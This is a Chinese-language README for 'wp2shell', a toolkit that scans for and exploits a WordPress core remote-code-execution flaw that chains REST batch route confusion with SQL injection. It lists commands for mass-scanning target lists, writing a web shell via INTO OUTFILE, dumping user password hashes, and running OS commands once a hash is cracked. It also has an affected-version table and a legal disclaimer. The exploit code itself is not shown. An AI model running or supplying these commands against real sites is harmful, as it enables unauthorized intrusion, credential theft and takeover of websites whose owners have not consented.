🔍 wp2shell - WordPress CVE-2026-63030 漏洞扫描器与利用工具

⚡ 针对 CVE-2026-63030 (wp2shell) 的快速实时漏洞扫描器与利用工具

📌 概述

wp2shell 是一个用于检测和利用 CVE-2026-63030 的综合性工具包，该漏洞是 WordPress 中的一个严重漏洞，允许未经身份验证的攻击者通过 REST API 批量路由混淆结合 SQL 注入来执行远程代码。

🔍 什么是 CVE-2026-63030？

CVE-2026-63030（wp2shell）是由 Adam Kues（Assetnote / Searchlight Cyber）发现的 WordPress 核心严重漏洞，它结合了两种缺陷：

GHSA-ff9f-jf42-662q - REST 批量路由混淆
GHSA-fpp7-x2x2-2mjf - author__not_in SQL 注入

📊 受影响版本

版本范围

📦 克隆与设置

# Clone repository
git clone https://github.com/Lutfifakee-Project/wp2shell.git
cd wp2shell

# No dependencies required - uses Python standard library only!
# Python 3.7+ required

🛠️ 包含的工具

1️⃣ wp2shell_scanner.py - 快速扫描器

用于大规模漏洞检测的多线程实时扫描器。

# Basic scan
python wp2shell_scanner.py -f list.txt -o results.txt

# Skip SQLi test (faster)
python wp2shell_scanner.py -f list.txt -o results.txt --no-sqli-test

# JSON output
python wp2shell_scanner.py -f list.txt -j

2️⃣ wp2shell_intooutfile.py - INTO OUTFILE 利用工具

演示 INTO OUTFILE RCE 变体（需要 MySQL FILE 权限）。

# Single target
python3 wp2shell_intooutfile.py https://target.com

# Multiple targets
python3 wp2shell_intooutfile.py -f list.txt -t 10

3️⃣ wp2shell-exploit.py - 单文件利用工具

便携的单文件版本利用工具，功能完整。

# Check vulnerability
python wp2shell-exploit.py check https://target.com

# Read users (extract password hashes)
python wp2shell-exploit.py read https://target.com --preset users

# Read fingerprint
python wp2shell-exploit.py read https://target.com --preset fingerprint

# Execute command (after cracking hash)
python wp2shell-exploit.py shell https://target.com --user admin --password "cracked" --cmd "id"

⚠️ 法律免责声明

重要：此工具仅用于教育和授权测试目的。

仅限在您拥有或获得明确书面许可的系统上使用。
未经授权访问计算机系统是违法的。
开发者不对该软件的滥用行为承担任何责任。请负责任且合乎道德地使用。

6.9.0 - 6.9.4	🔴 RCE（严重）	❌ 存在漏洞
7.0.0 - 7.0.1	🔴 RCE（严重）	❌ 存在漏洞
6.8.0 - 6.8.5	🟡 SQLi（高危）	❌ 存在漏洞
6.9.5+ / 7.0.2+	✅ 已修复	✅ 安全

wp2shell

最受欢迎